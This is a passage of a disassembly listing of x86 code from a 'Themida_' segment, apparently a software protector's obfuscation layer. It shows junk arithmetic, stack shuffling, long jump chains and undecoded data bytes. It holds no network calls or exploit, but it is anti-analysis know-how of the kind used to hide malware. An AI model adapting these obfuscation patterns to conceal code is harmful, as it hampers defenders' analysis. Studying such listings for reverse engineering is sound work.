4EEC46FFh jmp loc_55A40E ; --------------------------------------------------------------------------- loc_5596B1: ; CODE XREF: Themida_:00564F50j mov edx, 4 mov ecx, edx jmp loc_5629DA ; --------------------------------------------------------------------------- loc_5596BD: ; CODE XREF: Themida_:005612B6j pop ebp add edx, eax pop eax mov esi, [esp] add esp, 4 add edx, ebx push 7BB1h mov [esp], eax mov eax, 20750D87h shr eax, 5 neg eax shr eax, 5 xor eax, 1FA4AF76h push ecx mov ecx, 67F21524h sub ecx, 1D3AC190h sub edx, ecx pop ecx add edx, eax add edx, 4AB75394h pop eax add edx, 44853C85h mov ebx, [esp] jmp loc_5679D6 ; --------------------------------------------------------------------------- loc_55970C: ; CODE XREF: Themida_:0055DAEFj sub eax, 4 jmp loc_5598A3 ; --------------------------------------------------------------------------- loc_559714: ; CODE XREF: Themida_:00560596j inc ecx push edx mov edx, 6C4A6B5Eh jmp loc_55F375 ; --------------------------------------------------------------------------- loc_559720: ; CODE XREF: Themida_:0056B3EEj mov ecx, 5AD90087h jmp loc_55F14C ; --------------------------------------------------------------------------- loc_55972A: ; CODE XREF: Themida_:005643EEj ; Themida_:0056B6DCj mov edi, [esp] add esp, 4 jmp loc_566244 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 0E9000000h, 0FB4h ; --------------------------------------------------------------------------- loc_559740: ; CODE XREF: Themida_:0056342Bj xchg eax, [esp] pop esp shr edx, 8 jmp loc_565E72 ; --------------------------------------------------------------------------- loc_55974C: ; CODE XREF: Themida_:loc_5686E2j jmp loc_559645 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 8904EC83h, 6850241Ch, 144B3806h, 1F2A2D58h, 0C389122Fh dd 8324048Bh, 0C38104C4h, 7AA47CE5h, 0EBCAE9h db 0 ; --------------------------------------------------------------------------- loc_559779: ; CODE XREF: Themida_:00567C44j ; Themida_:00569C9Aj pop dword ptr [esp] pop esp and ecx, ebp push dword ptr [esp] jmp loc_56AEF5 ; --------------------------------------------------------------------------- db 4 dd 6C04D1h, 9AE952D8h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559793: ; CODE XREF: Themida_:00567D97j pop esp xor [esp], eax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55979D: ; CODE XREF: Themida_:0055763Aj sub edx, 6A1C73ACh sub edx, eax add edx, 6A1C73ACh push esi mov esi, 424E3CBCh add edx, esi pop esi jmp loc_564AAA ; --------------------------------------------------------------------------- db 54h, 8Bh, 4 dd 4C48324h, 405h, 5521E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5597CA: ; CODE XREF: Themida_:00563524j mov ebx, [esp] jmp loc_55E3DE ; --------------------------------------------------------------------------- dw 2BDh dd 1000000h, 0F47BE9EBh, 0C689FFFFh, 8BF00958h, 0C4832434h dd 0BA525504h, 3A95766Ah, 148BD589h, 9CF2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5597FA: ; CODE XREF: Themida_:loc_56BE7Ej xchg eax, ebx not eax xchg eax, ebx or ebx, 3C031EECh jz loc_56C083 push eax mov eax, 200F68A1h shr eax, 3 inc eax shl eax, 8 jmp loc_56AB7B ; --------------------------------------------------------------------------- dd 54242C89h, 4BB535Dh, 1000000h, 39E95BDDh, 0C0000104h dd 516605EFh, 0D1F6F988h, 8B66CF88h, 0B5E9240Ch db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559843: ; CODE XREF: Themida_:00557E95j pop esp mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_563EF1 ; --------------------------------------------------------------------------- loc_559857: ; CODE XREF: Themida_:005619B2j push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_56C1FE ; --------------------------------------------------------------------------- loc_559864: ; CODE XREF: Themida_:loc_556402j ; Themida_:00569D0Fj add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55D59C ; --------------------------------------------------------------------------- loc_559875: ; CODE XREF: Themida_:00560448j push ebx push 712Bh mov [esp], eax jmp loc_55878E ; --------------------------------------------------------------------------- loc_559883: ; CODE XREF: Themida_:0055BEF9j pop edx add ebx, ecx pop ecx push edi mov edi, 4 jmp loc_560E40 ; --------------------------------------------------------------------------- loc_559892: ; CODE XREF: Themida_:0056448Ej pop eax shl ecx, 6 neg ecx push esi jmp loc_568FC3 ; --------------------------------------------------------------------------- loc_55989E: ; CODE XREF: Themida_:0055ACE1j jmp loc_55F994 ; --------------------------------------------------------------------------- loc_5598A3: ; CODE XREF: Themida_:0055970Fj ; Themida_:loc_568AB0j xchg eax, [esp] pop esp mov [esp], esi mov esi, 0A6E5B19h push edx mov edx, 8DDF297Eh sub esi, edx pop edx jmp loc_559D4A ; --------------------------------------------------------------------------- loc_5598BD: ; CODE XREF: Themida_:0056762Bj pop edx or ah, 8Ch shr ah, 2 jmp loc_5677E9 ; --------------------------------------------------------------------------- loc_5598C9: ; CODE XREF: Themida_:0055892Cj mov edx, ebx pop ebx dec edx neg edx push 0F70h jmp loc_5663A7 ; --------------------------------------------------------------------------- aCAMs db 'юГ',8,'─гmИс:',0 align 4 loc_5598E4: ; CODE XREF: Themida_:00568116j mov ebx, 51482B25h push edx jmp loc_55EDA1 ; --------------------------------------------------------------------------- loc_5598EF: ; CODE XREF: Themida_:00565E85j mov [esp], eax push 1FECh mov [esp], edx push esi mov esi, 2B7E6720h sub esp, 4 mov [esp], edi mov edi, esi push edi add dword ptr [esp], 5DEB73AFh jmp loc_564625 ; --------------------------------------------------------------------------- loc_559915: ; CODE XREF: Themida_:00562D43j neg ebp and ebp, 7B0877B4h shl ebp, 7 or ebp, 4CFC0243h push edi mov edi, 59BD46C0h jmp loc_55E8B2 ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h aZvs db 'ZVИ!"',0 db 0 ; --------------------------------------------------------------------------- loc_55993B: ; CODE XREF: Themida_:0056464Aj push edi jmp loc_5638D0 ; --------------------------------------------------------------------------- loc_559941: ; CODE XREF: Themida_:0055FB88j mov [esp], edi jmp loc_55EDCA ; --------------------------------------------------------------------------- loc_559949: ; CODE XREF: Themida_:005595CFj ; Themida_:0055E88Aj sub esp, 4 jmp loc_562145 ; --------------------------------------------------------------------------- aSfq db ')ьИДQ',0 align 4 loc_559958: ; CODE XREF: Themida_:0055D547j mov [esp], edx push 68A8h mov [esp], esp jmp loc_56C348 ; --------------------------------------------------------------------------- loc_559968: ; CODE XREF: Themida_:005626FFj xor eax, 20300C1Bh jmp loc_56C3FC ; --------------------------------------------------------------------------- loc_559972: ; CODE XREF: Themida_:00565CCDj add ebx, edi sub ebx, 72BB619Fh add ebx, 67641B2Bh jmp loc_55F5D3 ; --------------------------------------------------------------------------- loc_559985: ; CODE XREF: Themida_:005678A6j push dword ptr [esp] jmp loc_55ADCF ; --------------------------------------------------------------------------- loc_55998D: ; CODE XREF: Themida_:0056CF4Fj add cl, 4Ah add bl, cl jmp loc_55F64E ; --------------------------------------------------------------------------- loc_559997: ; CODE XREF: Themida_:0055CD89j xor edi, 0AD3AEDFFh add ebp, edi jmp loc_569F16 ; --------------------------------------------------------------------------- loc_5599A4: ; CODE XREF: Themida_:00568844j mov ecx, 3E2B7F12h jmp loc_558498 ; --------------------------------------------------------------------------- dw 34FFh dd 95E95B24h db 2Ah, 1, 0 ; --------------------------------------------------------------------------- loc_5599B7: ; CODE XREF: Themida_:00559BF7j xor [esp], edx xor edx, [esp] mov esp, [esp] loc_5599C0: ; CODE XREF: Themida_:005569F2j push 2B8Ah mov [esp], edx jmp loc_56568C ; --------------------------------------------------------------------------- db 0BFh, 7Eh, 7Ah dd 0F729A7EDh, 13C7815Eh, 0C111DA31h, 0EF8108EFh, 306271A9h dd 43EF81h, 0FE310193h, 1111BE9h, 0F4840F00h, 45000049h dd 4EB48C0Fh, 71E90000h, 8B000055h, 0C481243Ch, 4, 5C2DBE56h dd 0F74E13E8h, 41E956D6h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559A1B: ; CODE XREF: Themida_:0056C4BEj add esp, 4 add [esp], eax push eax mov eax, 11967EE9h add [esp+4], eax mov eax, [esp] push 3663h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5607CA ; --------------------------------------------------------------------------- loc_559A4C: ; CODE XREF: Themida_:00564C26j mov ch, 0DBh add al, 9Ch sub al, ch sub al, 9Ch jmp loc_568784 ; --------------------------------------------------------------------------- loc_559A59: ; CODE XREF: Themida_:0056759Bj mov [esp], edi mov edi, 3D3F7DE8h neg edi sub edi, 0C5478742h xor ebx, edi pop edi mov ecx, ebx mov ebx, [esp] jmp loc_5593E3 ; --------------------------------------------------------------------------- loc_559A76: ; CODE XREF: Themida_:00568E68j push ebx mov bh, 0E8h jmp loc_558912 ; --------------------------------------------------------------------------- loc_559A7E: ; CODE XREF: Themida_:0056C4D2j sub ebx, 59032210h add ebp, 443B36C0h jmp loc_5688B1 ; --------------------------------------------------------------------------- db 81h dd 890D7BE9h, 72E9817Ah, 1BA56E2h, 0A38EE9CBh, 3C890000h dd 81E78924h, 4C7h, 0DCBB5300h, 810A831Eh, 7F3E76E3h, 5EBC12Ch dd 4AFEE9h, 24248B00h, 4AB2E9h db 0 ; --------------------------------------------------------------------------- loc_559AC9: ; CODE XREF: Themida_:0055EEB0j pop ecx push ebx sub esp, 4 mov [esp], ebp mov ebp, 74EB73D9h xor [esp+4], ebp pop ebp jmp loc_56088E ; --------------------------------------------------------------------------- loc_559AE3: ; CODE XREF: Themida_:0056B7BAj pop edx xchg edi, [esp] mov esp, [esp] push 34E1h mov [esp], ebx sub esp, 4 mov [esp], ecx push eax push ecx mov ecx, esp sub esp, 4 jmp loc_55F52F ; --------------------------------------------------------------------------- loc_559B0A: ; CODE XREF: Themida_:005564E6j ; Themida_:loc_556AAAj sub esi, 1F580B19h mov ebx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_563CFC ; --------------------------------------------------------------------------- loc_559B20: ; CODE XREF: Themida_:00563CA9j xchg edx, [esp] pop esp shl ebp, 2 jmp loc_559BFC ; --------------------------------------------------------------------------- loc_559B2C: ; CODE XREF: Themida_:00562060j jmp loc_567AA5 ; --------------------------------------------------------------------------- loc_559B31: ; CODE XREF: Themida_:0055A6EFj mov esi, 0AF67FFEh add ebx, esi jmp loc_55E1C2 ; --------------------------------------------------------------------------- db 52h, 0BAh, 17h dd 0B978C00Bh, 0F4BD59C4h, 0F75AD129h, 268D0FD9h, 0C1000098h dd 840F08E1h, 0FFFFECDCh, 0D8BEC181h, 0CD313286h, 64F58159h dd 0E971D979h, 0FFFFE8FDh ; --------------------------------------------------------------------------- loc_559B70: ; CODE XREF: Themida_:00558DF3j mov [esp], edx mov edx, 4 jmp loc_55A1BB ; --------------------------------------------------------------------------- loc_559B7D: ; CODE XREF: Themida_:00556B68j xor ecx, edx mov edx, [esp] add esp, 4 sub ebp, 0D5D2B66h add ebp, ecx push eax jmp loc_5637D3 ; --------------------------------------------------------------------------- loc_559B93: ; CODE XREF: Themida_:00565757j add esi, 0BA7FBBF1h jmp loc_564E8D ; --------------------------------------------------------------------------- loc_559B9E: ; CODE XREF: Themida_:0055FADAj push ecx mov ecx, 3F472EE9h or edi, ecx pop ecx jmp loc_55D5AC ; --------------------------------------------------------------------------- dword_559BAC dd 4EC83ACh, 51241489h, 50B6DAB5h, 34FFEE30h, 73E95924h ; DATA XREF: Themida_:005560B4o db 3, 1, 0 ; --------------------------------------------------------------------------- loc_559BC3: ; CODE XREF: Themida_:0055F78Fj mov esi, [esp] add esp, 4 sub eax, 7CC0685Bh sub eax, ecx add eax, 7CC0685Bh jmp loc_562152 ; --------------------------------------------------------------------------- loc_559BDD: ; CODE XREF: Themida_:0056A622j push 5585h mov [esp], edx jmp loc_569DF7 ; --------------------------------------------------------------------------- loc_559BEA: ; CODE XREF: Themida_:0055CA2Aj ; Themida_:0055F66Aj pop dword ptr [esp] pop esp add edx, 4 xor edx, [esp] jmp loc_5599B7 ; --------------------------------------------------------------------------- loc_559BFC: ; CODE XREF: Themida_:00559B27j shl ebp, 2 add ebp, 0B7F18B60h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, ebp push ebx mov ebx, edi mov ecx, ebx pop ebx mov edi, [esp] push ebx jmp loc_563E79 ; --------------------------------------------------------------------------- loc_559C29: ; CODE XREF: Themida_:0055C2D7j mov eax, 635F3EE5h jmp loc_556557 ; --------------------------------------------------------------------------- db 0E9h dd 0E271h ; --------------------------------------------------------------------------- loc_559C38: ; CODE XREF: Themida_:0056B830j mov ebp, [esp] jmp loc_55D61F ; --------------------------------------------------------------------------- loc_559C40: ; CODE XREF: Themida_:0055EA81j ; Themida_:00560C70j and esi, eax pop eax sub esi, 0BB003FDh add ebx, esi pop esi push edi jmp loc_5577E0 ; --------------------------------------------------------------------------- loc_559C52: ; CODE XREF: Themida_:0055836Dj mov edi, [esp] jmp loc_55D99F ; --------------------------------------------------------------------------- loc_559C5A: ; CODE XREF: Themida_:0056CA92j pop ebx push edx jmp loc_55BB0B ; --------------------------------------------------------------------------- loc_559C61: ; CODE XREF: Themida_:0055ECBDj mov ah, 0E3h sub cl, ah mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56C5BF ; --------------------------------------------------------------------------- loc_559C7D: ; CODE XREF: Themida_:00566FA0j add [esp+4], edx jmp loc_561DA8 ; --------------------------------------------------------------------------- loc_559C86: ; CODE XREF: Themida_:00569D7Bj not esi jmp loc_567867 ; --------------------------------------------------------------------------- db 59h, 81h, 0F5h dd 53866751h, 6DE9DDF7h, 10000EFh, 8E95EF7h, 0F7000065h dd 0FDEF7D6h, 117308Eh, 61B95100h, 0E91BA235h, 5A8Dh, 5AFBBA52h dd 0D63139C2h, 0E9D6F75Ah, 52CFh, 9B29FAB8h, 58C13128h dd 1DE9CF29h, 5F0000D5h, 0FFEC18E9h db 0FFh ; --------------------------------------------------------------------------- loc_559CDD: ; CODE XREF: Themida_:00556729j mov ebx, 29DA29A2h jmp loc_56C250 ; --------------------------------------------------------------------------- loc_559CE7: ; CODE XREF: Themida_:loc_556CCBj shr edi, 1 jnz loc_561F08 sub edi, 7F7DFDEFh mov eax, edi mov bh, dl push dword ptr [esp] mov edx, [esp] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp push edx push esp pop edx add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_55831D ; --------------------------------------------------------------------------- loc_559D2F: ; CODE XREF: Themida_:00567C24j or eax, eax jz loc_56A32E push dword ptr [edi+28h] push 2EB9h jmp loc_55F471 ; --------------------------------------------------------------------------- loc_559D44: ; CODE XREF: Themida_:005594A7j push edx jmp loc_55CE48 ; --------------------------------------------------------------------------- loc_559D4A: ; CODE XREF: Themida_:005598B8j neg esi jz loc_55F592 sub esi, 67712509h add esi, 0E4005AA0h sub edi, 21A1692Bh jmp loc_55EFBB ; --------------------------------------------------------------------------- loc_559D69: ; CODE XREF: Themida_:00564688j push 35C20BBBh mov ebp, [esp] jmp loc_566FC1 ; --------------------------------------------------------------------------- loc_559D76: ; CODE XREF: Themida_:005567EEj xchg eax, [esp] mov esp, [esp] mov [esp], esp push edi mov edi, 4 sub dword ptr [esp+4], 68B4087h jmp loc_5624BB ; --------------------------------------------------------------------------- loc_559D92: ; CODE XREF: Themida_:005578B5j xor [esp], ebp xor ebp, [esp] jmp loc_5655DF ; --------------------------------------------------------------------------- loc_559D9D: ; CODE XREF: Themida_:0055772Fj ; Themida_:005629D2j sub edx, 2D5458B2h jmp loc_5583AE ; --------------------------------------------------------------------------- loc_559DA8: ; CODE XREF: Themida_:0056B7F8j jg loc_55EC01 jmp loc_5629BC ; --------------------------------------------------------------------------- loc_559DB3: ; CODE XREF: Themida_:0055870Cj jge loc_559572 jmp loc_55BCEA ; --------------------------------------------------------------------------- dw 1489h dd 0D1BA6624h db 74h, 88h, 0E3h ; --------------------------------------------------------------------------- loc_559DC7: ; CODE XREF: Themida_:00566E56j push esp pop ebp push edx mov edx, 0FED6AC0h not edx xor edx, 5BD83154h xor edx, 0ABCAA46Fh add ebp, edx pop edx push edi mov edi, 7E327C6Bh shr edi, 1 xor edi, 4E843789h dec edi xchg esi, edi neg esi xchg esi, edi add edi, 719D09BFh sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ecx push esi mov esi, 6DF73F65h xor esi, 314725C9h mov ecx, esi pop esi push ebx jmp loc_55EFE8 ; --------------------------------------------------------------------------- loc_559E1A: ; CODE XREF: Themida_:00556ACCj pop esi mov edi, [esp] add esp, 4 push esi push ebx push ecx push 6F9065F1h pop ecx not ecx sub ecx, 54EF80D5h jmp loc_55BBF5 ; --------------------------------------------------------------------------- db 5Bh dd 4C381h, 0CE680000h, 89000021h, 0B6B9240Ch, 5128545Bh dd 592414F7h, 10C9BF57h, 0F9312358h, 52D1F75Fh, 4C5ABB53h dd 0E3815FD1h, 70B63B44h, 0AC6820Fh, 0C3810000h, 0A3200C1h dd 0F268D0Fh, 0D9E90000h, 0FE00012Ch, 0C9C280CBh, 4C381h dd 0C3830000h, 241C8704h, 4C4835Ch, 11D36857h, 24890000h dd 24048124h, 4, 4C7815Fh, 56000000h, 4EC81h, 2C890000h dd 14A4BD24h, 27BE5613h, 1D18943h, 80CE9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559EC6: ; CODE XREF: Themida_:0056AA43j and eax, edi push dword ptr [esp] jmp loc_56C3BE ; --------------------------------------------------------------------------- loc_559ED0: ; CODE XREF: Themida_:00565ADAj mov edi, 4 sub eax, edi pop edi jmp loc_56662E ; --------------------------------------------------------------------------- aISiqh4 db '┬щS┬Оh4',7,0 dw 8900h dd 0E950240Ch, 6218h ; --------------------------------------------------------------------------- loc_559EF0: ; CODE XREF: Themida_:0056051Aj sub esp, 4 mov [esp], ecx mov ecx, 27AF6801h jmp loc_55DEB1 ; --------------------------------------------------------------------------- dd 8904EC83h, 0EF68240Ch, 89000062h, 0CB22414h, 0C07DB353h dd 25E905EBh db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559F1B: ; CODE XREF: Themida_:00564A23j ; Themida_:00567C77j add esp, 4 jmp loc_55FA08 ; --------------------------------------------------------------------------- loc_559F26: ; CODE XREF: Themida_:005653E6j mov eax, [esp] add esp, 4 sub ebx, 800FEh mov ebp, ebx jmp loc_569297 ; --------------------------------------------------------------------------- loc_559F39: ; CODE XREF: Themida_:0055DFCBj sub al, cl pop ecx push dword ptr [esp] jmp loc_55CE08 ; --------------------------------------------------------------------------- loc_559F44: ; CODE XREF: Themida_:005694B3j pop edi jmp loc_56B46F ; --------------------------------------------------------------------------- word_559F4A dw 77FFh ; DATA XREF: Themida_:00556218o dd 59669D1Ch, 9C2414D2h, 0FFC38EE9h db 0FFh ; --------------------------------------------------------------------------- loc_559F59: ; CODE XREF: Themida_:0056CBF5j sub [esp+4], eax mov eax, [esp] push ecx mov ecx, esp jmp loc_563886 ; --------------------------------------------------------------------------- loc_559F68: ; CODE XREF: Themida_:0056566Cj pop esp sub esp, 4 mov [esp], ebx push edi jmp loc_56A9C5 ; --------------------------------------------------------------------------- loc_559F75: ; CODE XREF: Themida_:0055E443j ; Themida_:loc_5601ECj or esi, edx jmp loc_558316 ; --------------------------------------------------------------------------- loc_559F7C: ; CODE XREF: Themida_:0055F801j add esp, 4 pop dword ptr [esp] jmp loc_56B823 ; --------------------------------------------------------------------------- loc_559F87: ; CODE XREF: Themida_:0055B1DCj sub dword ptr [esp+4], 3F891C90h add [esp+4], ebx add dword ptr [esp+4], 3F891C90h jmp loc_561A18 ; --------------------------------------------------------------------------- dd 6723C681h, 0E95A1660h, 0ACC9h, 0E94BB050h, 3F5Ch ; --------------------------------------------------------------------------- loc_559FB4: ; CODE XREF: Themida_:00556FECj push esp mov eax, [esp] jmp loc_55DB8A ; --------------------------------------------------------------------------- loc_559FBD: ; CODE XREF: Themida_:0056A023j push edx mov edx, 678160E9h add edx, 29DC2923h jmp loc_56BAED ; --------------------------------------------------------------------------- loc_559FCE: ; CODE XREF: Themida_:00561ABCj jmp loc_5562E7 ; --------------------------------------------------------------------------- db 87h dd 248B241Ch, 2434FF24h, 4C4815Ah, 81000000h, 4C6h, 24348700h dd 4EC835Ch, 0E9243489h, 0CE22h dword_559FF8 dd 0E932FF64h, 0FFFFC2E7h ; DATA XREF: Themida_:0055623Co ; --------------------------------------------------------------------------- loc_55A000: ; CODE XREF: Themida_:00560D96j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55A005: ; CODE XREF: Themida_:0055A5E7j xor [esp], ebp xor ebp, [esp] mov esp, [esp] inc word ptr [esp] pushf jmp loc_5627C8 ; --------------------------------------------------------------------------- loc_55A018: ; CODE XREF: Themida_:00563D32j push 27C6623Bh pop eax and eax, 34FB036Ch shl eax, 4 jmp loc_55A414 ; --------------------------------------------------------------------------- byte_55A02B db 0ADh ; DATA XREF: Themida_:00556018o dd 815D5455h, 4C5h, 4ED8300h, 73F6E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A03E: ; CODE XREF: Themida_:0055C7FFj sub ebx, 206748EBh jmp loc_567C00 ; --------------------------------------------------------------------------- loc_55A049: ; CODE XREF: Themida_:0055D3B2j add esi, 0E67BDD10h add ebp, esi pop esi push ecx push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp mov ebp, 6BA917C5h shl ebp, 7 jmp loc_567999 ; --------------------------------------------------------------------------- dw 489h dd 24048124h, 4A973A5Ch, 5CEE815Eh, 584A973Ah, 81240C8Bh dd 4C4h, 0F0315A00h, 4EC815Eh, 89000000h, 97E92414h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A0A3: ; CODE XREF: Themida_:00563CE8j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp sub al, 56h add al, ch push edx mov dl, 39h or dl, 0A5h xor dl, 9Ah jmp loc_55A2F4 ; --------------------------------------------------------------------------- loc_55A0BF: ; CODE XREF: Themida_:005678ACj mov bh, ah jmp loc_56D681 ; --------------------------------------------------------------------------- loc_55A0C6: ; CODE XREF: Themida_:00560053j jz loc_5688C5 and edi, 4A1342B1h shr edi, 3 jnp loc_569D91 push ebp mov ebp, 1A80439Dh mov ecx, edi mov bl, al loc_55A0E5: ; CODE XREF: Themida_:0056BED8j add esi, 4 xchg esi, [esp] jmp loc_55B5C0 ; --------------------------------------------------------------------------- loc_55A0F0: ; CODE XREF: Themida_:005576A8j mov cx, [esp] jmp loc_55BA7A ; --------------------------------------------------------------------------- loc_55A0F9: ; CODE XREF: Themida_:0055A583j and eax, ebx jmp loc_5601FB ; --------------------------------------------------------------------------- loc_55A100: ; CODE XREF: Themida_:0055E770j ; Themida_:00563FEEj push ebx mov bh, 0DBh sub ch, 11h add ch, bh add ch, 11h pop ebx mov dl, ch pop ecx add dl, 84h add al, 0F6h jmp loc_567964 ; --------------------------------------------------------------------------- db 5Bh, 80h, 0E9h dd 8BC82816h, 0C483240Ch, 2EC8104h, 66000000h, 0B5240C89h dd 0E9E82822h, 0FFC5h ; --------------------------------------------------------------------------- loc_55A138: ; CODE XREF: Themida_:00569BD7j dec edi sub edi, 5DA0450h sub edi, 1F5E79E3h push esi mov esi, 16280BEFh and esi, 0C3F310Fh xor esi, 278A3F2Ah push esi dec dword ptr [esp] pop esi sub esi, 11B8362Ah xor esi, 27C70CFEh jmp loc_557472 ; --------------------------------------------------------------------------- loc_55A16D: ; CODE XREF: Themida_:0055B640j mov ecx, ebp mov eax, ecx pop ecx pop ebp sub esp, 4 mov [esp], edx jmp loc_558A6A ; --------------------------------------------------------------------------- loc_55A17E: ; CODE XREF: Themida_:00558468j mov ecx, [esp] jmp loc_55D298 ; --------------------------------------------------------------------------- loc_55A186: ; CODE XREF: Themida_:00569971j not dword ptr [esp] mov ebp, [esp] push 7A04h mov [esp], edi jmp loc_5585D2 ; --------------------------------------------------------------------------- loc_55A199: ; CODE XREF: Themida_:0056B94Dj mov esi, 7E2E67D4h add edx, esi pop esi jmp loc_560321 ; --------------------------------------------------------------------------- loc_55A1A6: ; CODE XREF: Themida_:0055FAB5j add dword ptr [esp], 3AB803C3h sub [esp], ebp jmp loc_566120 ; --------------------------------------------------------------------------- db 56h, 0E9h, 2Ah db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A1BB: ; CODE XREF: Themida_:00559B78j push esi mov esi, esp jmp loc_56273D ; --------------------------------------------------------------------------- aI4THw3 db '┴4$T^hw3',0 dd 242C8900h, 6545B850h, 0CD681E4Bh, 8900004Ch, 34812404h dd 7A228724h, 5DE95D43h, 8B0000CDh, 0C481241Ch, 4, 2454F651h dd 1177E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A1FE: ; CODE XREF: Themida_:005591A1j mov [esp], eax mov eax, 605715A7h shl eax, 7 jmp loc_567A0A ; --------------------------------------------------------------------------- word_55A20E dw 34FFh ; DATA XREF: Themida_:0055619Co dd 24048B24h, 81E68956h, 4C6h, 4C68300h, 8949E9h, 18BB5300h dd 0E97C2454h, 0FFFFE79Fh, 9ED6E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A236: ; CODE XREF: Themida_:005617AEj jl loc_559160 inc bh jnz loc_56A5B5 mov esi, ecx mov al, al loc_55A248: ; CODE XREF: Themida_:00558CA9j pop dword ptr [esp] mov esp, [esp] sub [esp], al pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55A257: ; CODE XREF: Themida_:0056446Bj add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_559617 ; --------------------------------------------------------------------------- loc_55A271: ; CODE XREF: Themida_:0056C2EBj push 2C8h mov [esp], eax push edx mov edx, 3EBB3FECh mov eax, 3EBB3FECh sub eax, edx pop edx add eax, 71611571h sub eax, ecx sub eax, 71611571h push eax pop ecx pop eax add ecx, 0C88B0F61h mov edx, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_56227E ; --------------------------------------------------------------------------- db 81h, 0F2h, 85h dd 8747CF22h, 87D6F7F2h, 75E942F2h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A2BB: ; CODE XREF: Themida_:loc_56007Fj neg ebx jle loc_565C60 jmp loc_56949E ; --------------------------------------------------------------------------- dd 4BFh, 5BFB0100h ; --------------------------------------------------------------------------- loc_55A2D0: ; CODE XREF: Themida_:00568315j sub [esp], ebp pop ebp jmp loc_566B67 ; --------------------------------------------------------------------------- loc_55A2D9: ; CODE XREF: Themida_:0056A817j push esp pop esi add esi, 4 push ebp mov ebp, 35EB32F2h neg ebp add ebp, 35EB32F6h jmp loc_56BF10 ; --------------------------------------------------------------------------- loc_55A2F4: ; CODE XREF: Themida_:0055A0BAj and dl, 24h add dl, 80h jmp loc_56B2B4 ; --------------------------------------------------------------------------- db 0BDh dd 6A6200D2h, 377FB951h, 0D9F767E5h, 740BE981h, 0C829806Ch dd 6EAB0559h, 0E8293A12h, 6EABBB53h, 0D8293A12h, 5476055Bh dd 815D17AEh, 4ECh, 241C8900h, 0D387D3BBh, 0EC835577h dd 24348904h, 7408E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A346: ; CODE XREF: Themida_:005623B5j ; Themida_:00563E82j dec edi shr edi, 8 jns loc_565A42 xor edi, 43A98B83h jmp loc_568185 ; --------------------------------------------------------------------------- byte_55A35B db 83h ; DATA XREF: Themida_:00556150o dd 545704ECh, 0BB07E9h db 0 ; --------------------------------------------------------------------------- loc_55A365: ; CODE XREF: Themida_:loc_561C4Fj pop ecx mov bh, dh pop edx add bh, 57h push ecx jmp loc_559094 ; --------------------------------------------------------------------------- loc_55A372: ; CODE XREF: Themida_:00562BC4j add eax, 4 push ebx mov ebx, 4 sub eax, 7A0F7475h add eax, ebx add eax, 7A0F7475h pop ebx push eax push dword ptr [esp+4] jmp loc_56D02E ; --------------------------------------------------------------------------- loc_55A394: ; CODE XREF: Themida_:0056A182j inc eax jz loc_563F8F push edi mov edi, 0FF934EDCh add eax, edi pop edi mov esi, eax pop eax sub [edi+24h], esi push dword ptr [esp] jmp loc_55A854 ; --------------------------------------------------------------------------- loc_55A3B2: ; CODE XREF: Themida_:00567CC2j pop eax push 3EDEh mov [esp], edx jmp loc_5672FC ; --------------------------------------------------------------------------- loc_55A3C0: ; CODE XREF: Themida_:00565782j mov ebp, [esp] add esp, 4 xor ebx, eax push small word ptr [eax] jmp loc_566056 ; --------------------------------------------------------------------------- loc_55A3D0: ; CODE XREF: Themida_:0055FC11j push edi mov edi, 4 mov edx, edi pop edi add [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_56D4D8 ; --------------------------------------------------------------------------- loc_55A3E8: ; CODE XREF: Themida_:0055C4BFj add esp, 4 jmp loc_5594DB ; --------------------------------------------------------------------------- db 81h dd 532172EEh, 0EAEE8128h, 0E96BF205h, 0C8FBh ; --------------------------------------------------------------------------- loc_55A404: ; CODE XREF: Themida_:005576C9j mov eax, 758D7825h jmp loc_5660CE ; --------------------------------------------------------------------------- loc_55A40E: ; CODE XREF: Themida_:005596ACj inc edx jmp loc_5648E9 ; --------------------------------------------------------------------------- loc_55A414: ; CODE XREF: Themida_:0055A026j and eax, 16192F8Bh add eax, 24C0F995h push edx mov edx, 78055DD6h add ebx, edx pop edx jmp loc_560D8B ; --------------------------------------------------------------------------- loc_55A42C: ; CODE XREF: Themida_:0055E4D1j pop cx push ax mov ah, 0C5h xor dl, ah pop ax add dl, 61h push 